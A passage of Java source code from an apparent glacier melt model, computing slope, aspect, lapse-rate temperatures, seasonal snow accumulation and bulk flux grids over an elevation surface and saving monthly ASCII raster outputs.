aspectG = elevation1[i + 1][j - 1];
} else {
aspectG = elevation1[i][j];
}
} catch (ArrayIndexOutOfBoundsException aiobe6) {
aspectG = elevation1[i][j];
}
try {
if ((elevation1[i + 1][j] != NODATA_value)) {
aspectH = elevation1[i + 1][j];
} else {
aspectH = elevation1[i][j];
}
} catch (ArrayIndexOutOfBoundsException aiobe7) {
aspectH = elevation1[i][j];
}
try {
if ((elevation1[i + 1][j + 1] != NODATA_value)) {
aspectI = elevation1[i + 1][j + 1];
} else {
aspectI = elevation1[i][j];
}
} catch (ArrayIndexOutOfBoundsException aiobe8) {
aspectI = elevation1[i][j];
}
// Breaks down the aspect algorithm into a few different steps
aspect_dzdx = (((aspectC + (2 * aspectF) + aspectI) - (aspectA + (2 * aspectD) + aspectG)) / (8));
aspect_dzdy = (((aspectG + (2 * aspectH) + aspectI) - (aspectA + (2 * aspectB) + aspectC)) / (8));
aspect_pre = ((180 / Math.PI) * Math.atan2(aspect_dzdy, -aspect_dzdx));
// Insert if loop to convert aspect to compass direction (degrees)
if (aspect_pre < 0) {
aspectDegree = (90.0 - aspect_pre);
} else if (aspect_pre > 90.0) {
aspectDegree = (360.0 - aspect_pre + 90.0);
} else {
aspectDegree = (90.0 - aspect_pre);
}
// Sets the aspect value in the appropriate position in the
// aspectSurface array
aspectSurface[i][j] = aspectDegree;
} else {
aspectSurface[i][j] = NODATA_value;
}
}
}
store.setAspect(aspectSurface);
// Begin loop through monthly file
while (iterator0.hasNext()) {
System.out.println("Elevation surface uploaded");
double elevation[][] = store.getElevation();
store.setElevationSize(elevation);
double Elevation_size[][] = store.getElevationSize();
System.out.println("Thickness surface uploaded");
double glacier_thickness[][] = store.getThickness(); //Only called once; following this, loops must use the updated thickness and elevation variables
double glacier_thickness_temp[][] = glacier_thickness; // This gets a copy of glacier_thickness
store.setThickness_intermediary(glacier_thickness_temp); // This sets the copy of thickness, making a clone of it (i.e. it can't be affcted if you alter the "glacier_thickness" object
double glacier_thickness_intermediary[][] = store.getThickness_intermediary(); //This gets the "clone" - so this will remain an unaltered thickness layer throughout the loop (unlike "glacierThickness[][]")
double summer_snow_thickness[][] = store.getSummerSnowSurface(); // An empty array in the first iteration of this loop
double winter_snow_thickness[][] = store.getWinterSnowSurface(); // An empty array in the first iteration of this loop
//double WinterSnow_interpolation[][];
double temp_winter_snow_layer[][] = new double[elevation.length][elevation[0].length];
//Slope variables
double Slope_Surface[][] = new double[Elevation_size.length][Elevation_size[0].length];
double slopeA, slopeB, slopeC, slopeD, slopeE, slopeF, slopeG, slopeH, slopeI;
double slope_dzdy, slope_dzdx;
double slopeDegree;
//Aspect variables
// double aspectSurface[][] = new double[Elevation_size.length][Elevation_size[0].length];
// double aspectA, aspectB, aspectC, aspectD, aspectE, aspectF, aspectG, aspectH, aspectI;
// double aspect_dzdy, aspect_dzdx;
// double aspect_pre;
// double aspectDegree;
//Bulk flux variables
double cTa;
double psi = 0;
double lapsed_Ta;
double lapsed_temp[][] = new double[Elevation_size.length][Elevation_size[0].length];
double psi_surface[][] = new double[Elevation_size.length][Elevation_size[0].length];
//Q calculation variables
double albedo_instance = 0.0;
double Q_daily_grid[][] = new double[Elevation_size.length][Elevation_size[0].length];
double Q_monthly_grid[][] = new double[Elevation_size.length][Elevation_size[0].length];
double I_for_Q;
double psi_for_Q;
double Q, Q_daily, Q_monthly;
double Q_counter = 0;
double Q_total = 0;
double mean_Q_m2;
double mean_Q_5_x_m2;
double cell_area = 25.0;
//Radiation variables
double slope[][], aspect[][], slope_RAD[][], aspect_RAD[][],
surfaceRadiationSurface[][];
//double hillshade[][] = null;
double hillshade_midnight[][] = null;
double hillshade_6am[][] = null;
double hillshade_noon[][] = null;
double hillshade_6pm[][] = null;
double tau;
double azimuth_midnight_radians, zenith_midnight_radians; //Midnight variables
double azimuth_6am_radians, zenith_6am_radians; //6am variables
double azimuth_noon_radians, zenith_noon_radians; //noon variables
double azimuth_6pm_radians, zenith_6pm_radians; //6pm variables
double surface_Radiation = 0.0;
double surface_Radiation_midnight;
double surface_Radiation_6am;
double surface_Radiation_noon;
double surface_Radiation_6pm;
//Melt calculation variables
double adjustment_counter = 0;
double thickness_adjustment_total = 0;
double volume_adjustment_total = 0;
double ice_thickness_surface_adjustment[][] = new double[Elevation_size.length][Elevation_size[0].length];
double ice_thickness_change_surface[][] = new double[Elevation_size.length][Elevation_size[0].length];
double summer_snow_surface_change[][] = new double[Elevation_size.length][Elevation_size[0].length];
double winter_snow_surface_change[][] = new double[Elevation_size.length][Elevation_size[0].length];
double latent_heat_of_fusion = 334000;
double energy_for_total_summer_snow_melt;
double energy_for_total_winter_snow_melt;
double ice_mass;
double snow_mass;
double energy_for_total_melt;
double Q_available;
//Counters (zeroed at the beginning of each loop)
double Radiation_counter = 0;
double Radiation_total = 0;
double Psi_counter = 0;
double Psi_total = 0;
double Lapsed_temp_counter = 0;
double Lapsed_temp_total = 0;
double Snowfall_counter = 0;
double Snowfall_total = 0;
//Winter precip. variables
// Iterator<Integer> iterator6 = store.getYearFile_WinterPrecip().iterator();
// Iterator<Double> iterator7 = store.get_Winter_PrecipFile().iterator();
// Iterator<Double> iterator8 = store.get_Winter_MonthFile().iterator();
// int year_winter_precip = iterator6.next();
// double snow_thickness_winter_precip = iterator7.next();
// double month_winter_precip = iterator8.next();
int month = (int) iterator0.next();
int year = (int) iterator1.next();
double temp = iterator2.next();
store.setTemp(temp);
double precip = iterator3.next(); // This is the daily total precipitation in metres - check the input data file with the raw if you are unsure
double precip_season = iterator4.next();
System.out.println(month + "/" + year);
System.out.println("Temp: " + temp);
System.out.println("Precipitation (m): " + precip);
System.out.println("Precipitation season: " + precip_season);
/*
* Precipitation algorithm
*/
//**************Summer precipitation**************
// REMEMBER: when dividing precipitation by snow density, do not
// use the value in kg m^3 (e.g. 900.0 kg m^3). You must instead
// use that value divided by 100 (e.g. 0.9). In this way, where
// the threshold is not met rainfall at the cell is equal to the
// AWS (i.e. measured rainfall/1) To divide the emasured
// rainfall by water density (1000.0 kg m^3) would give very
// warped results!
if (precip_season == 1.0) {
System.out.println("Summer precipitation");
/*
* Lapse rate calculator
*/
for (int i = 0; i < elevation.length; i++) {
for (int j = 0; j < elevation[i].length; j++) {
double lapse_intermediary = elevation[i][j];
if (lapse_intermediary != NODATA_value) {
lapsed_temp[i][j] = (double) LapseRate(lapse_intermediary, temp);
} else if (lapse_intermediary == NODATA_value) {
lapsed_temp[i][j] = (int) NODATA_value;
}
}
}
store.setLapsedTempSurface(lapsed_temp);
/*
* Populate summer snow thickness layer
*/
System.out.println("Precip. value for use in summer precip. algorithm: " + precip + " m");
System.out.println("AWS temp. value for use in summer precip. algorithm: " + temp + "°C");
System.out.println("Summer snow density value for use in summer precip. algorithm: " + summer_snow_density);
for (int i = 0; i < summer_snow_thickness.length; i++) {
for (int j = 0; j < summer_snow_thickness[i].length; j++) {
if (((lapsed_temp[i][j] != NODATA_value) && (precip != NODATA_value)) && ((precip != 0) && (lapsed_temp[i][j] <= snow_threshold))) // If less than or equal to threshold, snow amount is equal to precip * fresh snow density
{
summer_snow_thickness[i][j] += (precip / (summer_snow_density / 100)); // Increase the value of the existing cell by new snow fall
store.setSummerSnowSurface(summer_snow_thickness);
} else if (((lapsed_temp[i][j] != NODATA_value) && (precip != NODATA_value)) && (lapsed_temp[i][j] > snow_threshold)) // This simulates rain which flows off the surface
{
summer_snow_thickness[i][j] += 0; // Increase the value of the existing cell by nothing (could just do nothing...)
store.setSummerSnowSurface(summer_snow_thickness);
} else if ((lapsed_temp[i][j] != NODATA_value) && (precip == NODATA_value)) // There are some instances where the AWS didn't work so this is pertinent
{
summer_snow_thickness[i][j] += 0;
store.setSummerSnowSurface(summer_snow_thickness);
} else if (lapsed_temp[i][j] == NODATA_value) {
summer_snow_thickness[i][j] = NODATA_value;
store.setSummerSnowSurface(summer_snow_thickness);
}
}
}
//store.setSummerSnowSurface(summer_snow_thickness);
} //**************Winter precipitation**************
//else if (((precip_season == 0.0) && (year == year_winter_precip)) && (month == month_winter_precip)) {
else if (precip_season == 0.0) {
System.out.println("Winter precipitation");
int year_winter_precip = 0;
double snow_thickness_winter_precip = 0.0;
double month_winter_precip = 0.0;
double winter_depth_test = 0.0;
//int year_winter_precip = iterator6.next();
//double snow_thickness_winter_precip = iterator7.next();
//double month_winter_precip = iterator8.next();
//int year_winter_precip = 2008;
//double snow_thickness_winter_precip = 2.567;
//double month_winter_precip = 7;
if (((month == 1) | (month == 2)) | ((month == 3) | (month == 4)) | (month == 5)) {
System.out.println("Use month count of year");
// Loop through winter_precip_list
for (int i = 0; i < store.getYearFile_WinterPrecip().size(); i++) {
int test_year = store.getYearFile_WinterPrecip().get(i);
winter_depth_test = store.get_Winter_PrecipFile().get(i);
double test_month = store.get_Winter_MonthFile().get(i);
// System.out.println("Start test loop (1)");
// System.out.println("test_year: " + test_year);
// System.out.println("winter_depth_test: " + winter_depth_test);
// System.out.println("test_month: " + test_month);
// System.out.println("End test loop (1)");
if (year == test_year) {
System.out.println("Bazinga years equal");
System.out.println("Year of main loop: " + year);
System.out.println("Year in winter precip. loop: " + test_year);
snow_thickness_winter_precip = winter_depth_test;
month_winter_precip = test_month;
System.out.println("winter_depth_test: " + winter_depth_test);
System.out.println("month_winter_precip: " + month_winter_precip);
}
else
{
// Do nothing so loop again
}
}
} else if (((month == 9) | (month == 10)) | ((month == 11) | (month == 12))) {
System.out.println("Use month count of following year");
// Loop through winter_precip_list
for (int i = 0; i < store.getYearFile_WinterPrecip().size(); i++) {
int test_year = store.getYearFile_WinterPrecip().get(i);
winter_depth_test = store.get_Winter_PrecipFile().get(i);
double test_month = store.get_Winter_MonthFile().get(i);
// System.out.println("Start test loop (2)");
// System.out.println("test_year: " + test_year);
// System.out.println("winter_depth_test: " + winter_depth_test);
// System.out.println("test_month: " + test_month);
// System.out.println("End test loop (2)");
if ((year + 1) == test_year) {
System.out.println("Bazinga year +1");
System.out.println("Year of main loop: " + year);
System.out.println("Year in winter precip. loop: " + test_year);
snow_thickness_winter_precip = winter_depth_test;
month_winter_precip = test_month;
System.out.println("winter_depth_test: " + winter_depth_test);
System.out.println("month_winter_precip: " + month_winter_precip);
}
else
{
// Do nothing so loop again
}
}
}
System.out.println("Out of while loops now");
System.out.println("snow_thickness_winter_precip: " + snow_thickness_winter_precip);
System.out.println("month_winter_precip: " + month_winter_precip);
//(1) Zeros the snow thickness surface (summer snow at the end of
//summer is assumed to be a part of the winter snow pack that was
//measured in the field at the end of march and is tehrefore already
//accounted for in the daily winter snowfall algorithm
//(1b) [Possible addition] Maybe zero the winter snow pack....
for (int i = 0; i < summer_snow_thickness.length; i++) {
for (int j = 0; j < summer_snow_thickness[i].length; j++) {
if (summer_snow_thickness[i][j] != NODATA_value) {
summer_snow_thickness[i][j] = 0.0;
store.setSummerSnowSurface(summer_snow_thickness);
} else if (summer_snow_thickness[i][j] == NODATA_value) {
summer_snow_thickness[i][j] = NODATA_value;
store.setSummerSnowSurface(summer_snow_thickness);
}
}
}
//(2) Calculate mean monthly winter snowfall
//double snow_to_accumulate = (snow_thickness_winter_precip/month_winter_precip);
System.out.println("Main model loop: " + month + "/" + year);
System.out.println("Winter precip: " + month_winter_precip + "/" + year_winter_precip);
System.out.println("Total snow thickness:" + snow_thickness_winter_precip);
//System.out.println("Mean snow thickness:" + snow_to_accumulate);
//(3) Distribute monthly snow across surface as a function
// of elevation using:
// [y = -28.39 + 0.05252x - 0.00002181x^2] * snow_to_accumulate
// where x is elevation
//
// NOTE: IF ELEVATION DISTRIBUTED SNOW THICKNESS IS LESS
// THAN 1.0M, IT IS SET TO 1.0M
for (int i = 0; i < winter_snow_thickness.length; i++) {
for (int j = 0; j < winter_snow_thickness[i].length; j++) {
double y = 0.0;
if (winter_snow_thickness[i][j] != NODATA_value) {
double elev_instance_x = elevation[i][j];
double regressmean_yearmean_diff = (2.854751 - snow_thickness_winter_precip);
// 2.854751 is the mean on which the regression
// is based - the difference between this mean
// and the year specific mean is required to
// correct the regression to the year to which
// it is applied
double snow_thickness_limit = (-28.39 + (0.05252 * 964.331943)) - (0.00002181 * (964.331943 * 964.331943)) - regressmean_yearmean_diff;
// where snow thickness values fall below
// predicted snow depth as calculated for the
// minimum elevation (964.3m) from which the
// regression curve was created (with the
// addition/subtraction of the difference in
// means), snow thickness will be set to this
// calculated value. In implementing this
// method, snow thickness values will have a
// finite limit.
if(regressmean_yearmean_diff >= 0) // i.e. ANS < Glacier mean
{
// Add on the mean diffs to correct the regression to the new mean
y = (-28.39 + (0.05252 * elev_instance_x)) - (0.00002181 * (elev_instance_x * elev_instance_x)) - regressmean_yearmean_diff;
}
else if(regressmean_yearmean_diff < 0) // i.e. ANS > Glacier mean
{
// Removes the minus sign
regressmean_yearmean_diff = (regressmean_yearmean_diff * -1);
// Add on the mean diffs to correct the regression to the new mean
y = (-28.39 + (0.05252 * elev_instance_x)) - (0.00002181 * (elev_instance_x * elev_instance_x)) + regressmean_yearmean_diff;
}
//double elev_dependent_snow_acummulation = y;
if (y >= 1.0) {
// Prevents exceeding winter snow thickness total at a given elevation.
//
// NOTE: the cap is the total measured snowfall lapsed up to the elevation
// i.e. (snow_thickness_winter_precip*y)
// and NOT "elev_dependent_snow_acummulation" ITSELF (this is just a mean addition)
//
// This caps snow in a similar way to zeroing any previous season
// winter snow at the beginning of a new winter season.
if(winter_snow_thickness[i][j] < y)
{
winter_snow_thickness[i][j] += (y/month_winter_precip); // If less than the elevation corrected total, add on a monthly portion of the total
store.setWinterSnowSurface(winter_snow_thickness);
}
else if(winter_snow_thickness[i][j] > y)
{
winter_snow_thickness[i][j] = y; // If it's going to be greater than the elevation corrected total, it equals the total
store.setWinterSnowSurface(winter_snow_thickness);
}
}
else if (y < snow_thickness_limit)
{
winter_snow_thickness[i][j] += (snow_thickness_limit/month_winter_precip); // Adds a monthly portion of snow_thickness_limit (according to number of winter months)
store.setWinterSnowSurface(winter_snow_thickness);
}
else if (y <= 0.0)
{
winter_snow_thickness[i][j] += (snow_thickness_limit/month_winter_precip); // Adds a monthly portion of snow_thickness_limit (according to number of winter months)
store.setWinterSnowSurface(winter_snow_thickness);
}
store.setWinterSnowSurface(winter_snow_thickness);
} else if (winter_snow_thickness[i][j] == NODATA_value) {
winter_snow_thickness[i][j] = NODATA_value;
store.setWinterSnowSurface(winter_snow_thickness);
}
}
}
}
/**
* Loops through the WinterSnowSurface layer and calculates mean
* total accumulated thickness on a given day
*/
double winter_snow_thickness_total = 0; // Has to be done here. If set as 0 outide the loop the total will grow forever
double winter_snow_thickness_counter = 0; // Has to be done here. If set as 0 outide the loop the total will grow forever
for (int i = 0; i < winter_snow_thickness.length; i++) {
for (int j = 0; j < winter_snow_thickness[i].length; j++) {
if (winter_snow_thickness[i][j] != NODATA_value) {
//System.out.println("Winter snow cells: " + winter_snow_thickness[i][j]);
double winter_snow_thickness_instance = winter_snow_thickness[i][j];
winter_snow_thickness_total += winter_snow_thickness_instance; // Accumulates all summer snow thickness changes
winter_snow_thickness_counter++; // Counts instances of summer snow thickness where != NODATA_value
} else if (winter_snow_thickness[i][j] == NODATA_value) {
//do nothing
}
}
}
System.out.println("Mean accumulated winter snowfall at this point: " + winter_snow_thickness_total / winter_snow_thickness_counter + "m");
store.setWinterSnowThickness(winter_snow_thickness);
if (save_arrays == 1) {
/**
* This bit will open a save box to save the monthly psi
* surface as an ASCII, using the coordinates of the
* originally opened up elevation surface
*
*/
File f_summer_precip = new File("F:/Melt_modelling/Historical_model_outputs_aspect_fixed/summer_precip_" + month + "_" + year + ".txt");
DecimalFormat df_summer_precip = new DecimalFormat("#.####");
try {
BufferedWriter bw_summer_precip = new BufferedWriter(new FileWriter(f_summer_precip));
bw_summer_precip.write("ncols" + " " + store.getOriginalNcols());
bw_summer_precip.write(System.getProperty("line.separator"));
bw_summer_precip.write("nrows" + " " + store.getOriginalNrows());
bw_summer_precip.write(System.getProperty("line.separator"));
bw_summer_precip.write("xllcorner" + " " + store.getOriginalXllcorner());
bw_summer_precip.write(System.getProperty("line.separator"));
bw_summer_precip.write("yllcorner" + " " + store.getOriginalYllcorner());
bw_summer_precip.write(System.getProperty("line.separator"));
bw_summer_precip.write("cellsize" + " " + store.getOriginalCellsize());
bw_summer_precip.write(System.getProperty("line.separator"));
bw_summer_precip.write("NODATA_value" + " " + "-9999");
bw_summer_precip.write(System.getProperty("line.separator"));
/**
* Write out the array data
*
*/
String tempStr = "";
for (int a = 0; a < summer_snow_thickness.length; a++) {
for (int b = 0; b < summer_snow_thickness[a].length; b++) {
if (summer_snow_thickness[a][b] == NODATA_value) {
bw_summer_precip.write("-9999 ");
} else {
bw_summer_precip.write(df_summer_precip.format(summer_snow_thickness[a][b]) + " ");
}
}
bw_summer_precip.newLine();
}
bw_summer_precip.close();
} catch (IOException ioe) {
ioe.printStackTrace();
}
System.out.println("Summer snow thickness surface for " + month + "/" + year + " saved: " + f_summer_precip.getAbsolutePath());
} else {
// Do not save arrays
}
if (save_arrays == 1) {
/**
* This bit will open a save box to save the monthly psi
* surface as an ASCII, using the coordinates of the
* originally opened up elevation surface
*
*/
File f_winter_precip = new File("F:/Melt_modelling/Historical_model_outputs_aspect_fixed/winter_precip_" + month + "_" + year + ".txt");
DecimalFormat df_winter_precip = new DecimalFormat("#.####");
try {
BufferedWriter bw_winter_precip = new BufferedWriter(new FileWriter(f_winter_precip));
bw_winter_precip.write("ncols" + " " + store.getOriginalNcols());
bw_winter_precip.write(System.getProperty("line.separator"));
bw_winter_precip.write("nrows" + " " + store.getOriginalNrows());
bw_winter_precip.write(System.getProperty("line.separator"));
bw_winter_precip.write("xllcorner" + " " + store.getOriginalXllcorner());
bw_winter_precip.write(System.getProperty("line.separator"));
bw_winter_precip.write("yllcorner" + " " + store.getOriginalYllcorner());
bw_winter_precip.write(System.getProperty("line.separator"));
bw_winter_precip.write("cellsize" + " " + store.getOriginalCellsize());
bw_winter_precip.write(System.getProperty("line.separator"));
bw_winter_precip.write("NODATA_value" + " " + "-9999");
bw_winter_precip.write(System.getProperty("line.separator"));
/**
* Write out the array data
*
*/
String tempStr = "";
for (int a = 0; a < winter_snow_thickness.length; a++) {
for (int b = 0; b < winter_snow_thickness[a].length; b++) {
if (winter_snow_thickness[a][b] == NODATA_value) {
bw_winter_precip.write("-9999 ");
} else {
bw_winter_precip.write(df_winter_precip.format(winter_snow_thickness[a][b]) + " ");
}
}
bw_winter_precip.newLine();
}
bw_winter_precip.close();
} catch (IOException ioe) {
ioe.printStackTrace();
}
System.out.println("Winter snow thickness surface for " + month + "/" + year + " saved: " + f_winter_precip.getAbsolutePath());
} else {
// Do not save arrays
}
/*
* Slope calculation
*/
for (int i = 0; i < elevation.length; i++) {
for (int j = 0; j < elevation[i].length; j++) {
if (elevation[i][j] != NODATA_value) {
// Try/catch blocks exist in case of "out of bounds exceptions"
// which are likely when running the neighborhood searches at the
// array edges - this will be called upon less when using the
// larger arrays populated with No_Data (i.e. -9999.0) values
//
// These assign the values to letters A-I, according to positions
// within the array assuming the structure of:
// A B C
// D E F
// G H I
try {
if ((elevation[i - 1][j - 1] != NODATA_value)) {
slopeA = elevation[i - 1][j - 1];
} else {
slopeA = elevation[i][j];
}
} catch (ArrayIndexOutOfBoundsException aiobe0) {
slopeA = elevation[i][j];
}
try {
if ((elevation[i - 1][j] != NODATA_value)) {
slopeB = elevation[i - 1][j];
} else {
slopeB = elevation[i][j];
}
} catch (ArrayIndexOutOfBoundsException aiobe1) {
slopeB = elevation[i][j];
}
try {
if ((elevation[i - 1][j + 1] != NODATA_value)) {
slopeC = elevation[i - 1][j + 1];
} else {
//error1 = ("C fail");//
slopeC = elevation[i][j];
}
} catch (ArrayIndexOutOfBoundsException aiobe2) {
//error1 = ("C fail catch"); //
slopeC = elevation[i][j];
}
try {
if ((elevation[i][j - 1] != NODATA_value)) {
slopeD = elevation[i][j - 1];
} else {
slopeD = elevation[i][j];
}
} catch (ArrayIndexOutOfBoundsException aiobe3) {
slopeD = elevation[i][j];
}
try {
if ((elevation[i][j] != NODATA_value)) {
slopeE = elevation[i][j];
} else {
slopeE = elevation[i][j];
}
} catch (ArrayIndexOutOfBoundsException aiobe4) {
slopeE = elevation[i][j];
}
try {
if ((elevation[i][j + 1] != NODATA_value)) {
slopeF = elevation[i][j + 1];
} else {
slopeF = elevation[i][j];
}
} catch (ArrayIndexOutOfBoundsException aiobe5) {
slopeF = elevation[i][j];
}
try {
if ((elevation[i + 1][j - 1] != NODATA_value)) {
slopeG = elevation[i + 1][j - 1];
} else {
slopeG = elevation[i][j];
}
} catch (ArrayIndexOutOfBoundsException aiobe6) {
slopeG = elevation[i][j];
}
try {
if ((elevation[i + 1][j] != NODATA_value)) {
slopeH = elevation[i + 1][j];
} else {
slopeH = elevation[i][j];
}
} catch (ArrayIndexOutOfBoundsException aiobe7) {
slopeH = elevation[i][j];
}
try {
if ((elevation[i + 1][j + 1] != NODATA_value)) {
slopeI = elevation[i + 1][j + 1];
} else {
slopeI = elevation[i][j];
}
} catch (ArrayIndexOutOfBoundsException aiobe8) {
slopeI = elevation[i][j];
}
slope_dzdx = (((slopeC + (2 * slopeF) + slopeI) - (slopeA + (2 * slopeD) + slopeG)) / (8 * 5));
slope_dzdy = (((slopeG + (2 * slopeH) + slopeI) - (slopeA + (2 * slopeB) + slopeC)) / (8 * 5));
slopeDegree = Math.atan(Math.sqrt((Math.pow(slope_dzdx, 2)
+ Math.pow(slope_dzdy, 2)))) * (180 / Math.PI);
Slope_Surface[i][j] = slopeDegree;
} else if (elevation[i][j] == NODATA_value) {
Slope_Surface[i][j] = NODATA_value;
}
}
}
store.setSlope(Slope_Surface);
//System.out.println("Slope calculated");
/*
* Bulk flux calculation
*/
System.out.println("Temp value used in bulk flux equation: " + temp);
for (int i = 0; i < elevation.length; i++) {
for (int j = 0; j < elevation[i].length; j++) {
double Elevation_for_bulk_flux = elevation[i][j];
if (Elevation_for_bulk_flux != NODATA_value) {
lapsed_temp[i][j] = (double) LapseRate(Elevation_for_bulk_flux, temp);
lapsed_Ta = lapsed_temp[i][j];
// Calculate value of psi [INTEGRATE THIS INTO ABOVE LOOP]
if (lapsed_Ta >= T_tip) {
cTa = (c * lapsed_Ta);
psi = psi_min + cTa;
psi_surface[i][j] = psi;
} else if (lapsed_Ta < T_tip) {
psi = psi_min;
psi_surface[i][j] = psi;
}
} else if (Elevation_for_bulk_flux == NODATA_value) {
lapsed_temp[i][j] = (int) NODATA_value;
psi = NODATA_value;
psi_surface[i][j] = NODATA_value;
}
store.setPsi(psi);
store.setPsiSurface(psi_surface);
store.setLapsedTempSurface(lapsed_temp);
}
}
System.out.println("Bulk flux surfce created for " + month + "/" + year);
if (save_arrays == 1) {
/**
* This bit will open a save box to save the monthly psi
* surface as an ASCII, using the coordinates of the
* originally opened up elevation surface
*
*/
File f_monthly_psi = new File("F:/Melt_modelling/Historical_model_outputs_aspect_fixed/monthly_psi_" + month + "_" + year + ".txt");
DecimalFormat df_monthly_psi = new DecimalFormat("#.####");
try {
BufferedWriter bw_monthly_psi = new BufferedWriter(new FileWriter(f_monthly_psi));
bw_monthly_psi.write("ncols" + " " + store.getOriginalNcols());
bw_monthly_psi.write(System.getProperty("line.separator"));
bw_monthly_psi.write("nrows" + " " + store.getOriginalNrows());
bw_monthly_psi.write(System.getProperty("line.separator"));
bw_monthly_psi.write("xllcorner" + " " + store.getOriginalXllcorner());
bw_monthly_psi.write(System.getProperty("line.separator"));
bw_monthly_psi.write("yllcorner" + " " + store.getOriginalYllcorner());
bw_monthly_psi.write(System.getProperty("line.separator"));
bw_monthly_psi.write("cellsize" + " " + store.getOriginalCellsize());
bw_monthly_psi.write(System.getProperty("line.separator"));
bw_monthly_psi.write("NODATA_value" + " " + "-9999");
bw_monthly_psi.write(System.getProperty("line.separator"));
/**
* Write out the array data
*
*/
String tempStr = "";
for (int a = 0; a < psi_surface.length; a++) {
for (int b = 0; b < psi_surface[a].length; b++) {
if (psi_surface[a][b] == NODATA_value) {
bw_monthly_psi.write("-9999 ");
} else {
bw_monthly_psi.write(df_monthly_psi.format(psi_surface[a][b]) + " ");
}
}
bw_monthly_psi.newLine();
}
bw_monthly_psi.close();
} catch (IOException ioe) {
ioe.printStackTrace();
}
System.out.println("Monthly radiation surface for " + month + "/" + year + " saved: " + f_monthly_psi.getAbsolutePath());
} else {
// Do not save arrays
}
/**
* Hillshade and slope/aspect radian conversion - preliminary to
* the radiation algorithm
*/
if (month == 1.0) {
//hillshade = store.getHillshade_Jan();
hillshade_midnight = store.getHillshade_Jan_midnight();
hillshade_6am = store.getHillshade_Jan_midnight();
hillshade_noon = store.getHillshade_Jan_noon();
hillshade_6pm = store.getHillshade_Jan_midnight();
if (hillshade_midnight != null | hillshade_6am != null | hillshade_noon != null | hillshade_6pm != null) {
//System.out.println("January hillshade uploaded into model");
//System.out.println("Month: " + month);
} else if (hillshade_midnight == null | hillshade_6am == null | hillshade_noon == null | hillshade_6pm == null) {
System.out.println("January hillshade not uploaded");
}
} else if (month == 2.0) {
//hillshade = store.getHillshade_Feb();
hillshade_midnight = store.getHillshade_Jan_midnight();
hillshade_6am = store.getHillshade_Jan_midnight();
hillshade_noon = store.getHillshade_Feb_noon();
hillshade_6pm = store.getHillshade_Jan_midnight();
if (hillshade_midnight != null | hillshade_6am != null | hillshade_noon != null | hillshade_6pm != null) {
//System.out.println("February hillshade uploaded into model");
//System.out.println("Month: " + month);
} else if (hillshade_midnight == null | hillshade_6am == null | hillshade_noon == null | hillshade_6pm == null) {
System.out.println("February hillshade not uploaded");
}
} else if (month == 3.0) {
//hillshade = store.getHillshade_March();
hillshade_midnight = store.getHillshade_Jan_midnight();
hillshade_6am = store.getHillshade_Jan_midnight();
hillshade_noon = store.getHillshade_March_noon();
hillshade_6pm = store.getHillshade_Jan_midnight();
if (hillshade_midnight != null | hillshade_6am != null | hillshade_noon != null | hillshade_6pm != null) {
// System.out.println("March hillshade uploaded into model");
// System.out.println("Month: " + month);
} else if (hillshade_midnight == null | hillshade_6am == null | hillshade_noon == null | hillshade_6pm == null) {
System.out.println("March hillshade not uploaded");
}
} else if (month == 4.0) {
//hillshade = store.getHillshade_April();
hillshade_midnight = store.getHillshade_Jan_midnight();
hillshade_6am = store.getHillshade_April_6am();
hillshade_noon = store.getHillshade_April_noon();
hillshade_6pm = store.getHillshade_April_6pm();
if (hillshade_midnight != null | hillshade_6am != null | hillshade_noon != null | hillshade_6pm != null) {
// System.out.println("April hillshade uploaded into model");
// System.out.println("Month: " + month);
} else if (hillshade_midnight == null | hillshade_6am == null | hillshade_noon == null | hillshade_6pm == null) {
System.out.println("April hillshade not uploaded");
}
} else if (month == 5.0) {
//hillshade = store.getHillshade_May();
hillshade_midnight = store.getHillshade_Jan_midnight();
hillshade_6am = store.getHillshade_May_6am();
hillshade_noon = store.getHillshade_May_noon();
hillshade_6pm = store.getHillshade_May_6pm();
if (hillshade_midnight != null | hillshade_6am != null | hillshade_noon != null | hillshade_6pm != null) {
// System.out.println("May hillshade uploaded into model");
// System.out.println("Month: " + month);
} else if (hillshade_midnight == null | hillshade_6am == null | hillshade_noon == null | hillshade_6pm == null) {
System.out.println("May hillshade not uploaded");
}
} else if (month == 6.0) {
//hillshade = store.getHillshade_June();
hillshade_midnight = store.getHillshade_June_midnight();
hillshade_6am = store.getHillshade_June_6am();
hillshade_noon = store.getHillshade_June_noon();
hillshade_6pm = store.getHillshade_June_6pm();
if (hillshade_midnight != null | hillshade_6am != null | hillshade_noon != null | hillshade_6pm != null) {
// System.out.println("June hillshade uploaded into model");
// System.out.println("Month: " + month);
} else if (hillshade_midnight == null | hillshade_6am == null | hillshade_noon == null | hillshade_6pm == null) {
System.out.println("June hillshade not uploaded");
}
} else if (month == 7.0) {
//hillshade = store.getHillshade_July();
hillshade_midnight = store.getHillshade_July_midnight();
hillshade_6am = store.getHillshade_July_6am();
hillshade_noon = store.getHillshade_July_noon();
hillshade_6pm = store.getHillshade_July_6pm();
if (hillshade_midnight != null | hillshade_6am != null | hillshade_noon != null | hillshade_6pm != null) {
// System.out.println("July hillshade uploaded into model");
// System.out.println("Month: " + month);
} else if (hillshade_midnight == null | hillshade_6am == null | hillshade_noon == null | hillshade_6pm == null) {
System.out.println("July hillshade not uploaded");
}
} else if (month == 8.0) {
//hillshade = store.getHillshade_August();
hillshade_midnight = store.getHillshade_Jan_midnight();
hillshade_6am = store.getHillshade_August_6am();
hillshade_noon = store.getHillshade_August_noon();
hillshade_6pm = store.getHillshade_August_6pm();
if (hillshade_midnight != null | hillshade_6am != null | hillshade_noon != null | hillshade_6pm != null) {
// System.out.println("August hillshade uploaded into model");
// System.out.println("Month: " + month);
} else if (hillshade_midnight == null | hillshade_6am == null | hillshade_noon == null | hillshade_6pm == null) {
System.out.println("August hillshade not uploaded");
}
} else if (month == 9.0) {
//hillshade = store.getHillshade_Sept();
hillshade_midnight = store.getHillshade_Jan_midnight();
hillshade_6am = store.getHillshade_Sept_6am();
hillshade_noon = store.getHillshade_Sept_noon();
hillshade_6pm = store.getHillshade_Sept_6pm();
if (hillshade_midnight != null | hillshade_6am != null | hillshade_noon != null | hillshade_6pm != null) {
// System.out.println("September hillshade uploaded into model");
// System.out.println("Month: " + month);
} else if (hillshade_midnight == null | hillshade_6am == null | hillshade_noon == null | hillshade_6pm == null) {
System.out.println("September hillshade not uploaded");
}
} else if (month == 10.0) {
//hillshade = store.getHillshade_Oct();
hillshade_midnight = store.getHillshade_Jan_midnight();
hillshade_6am = store.getHillshade_Jan_midnight();
hillshade_noon = store.getHillshade_Oct_noon();
hillshade_6pm = store.getHillshade_Jan_midnight();
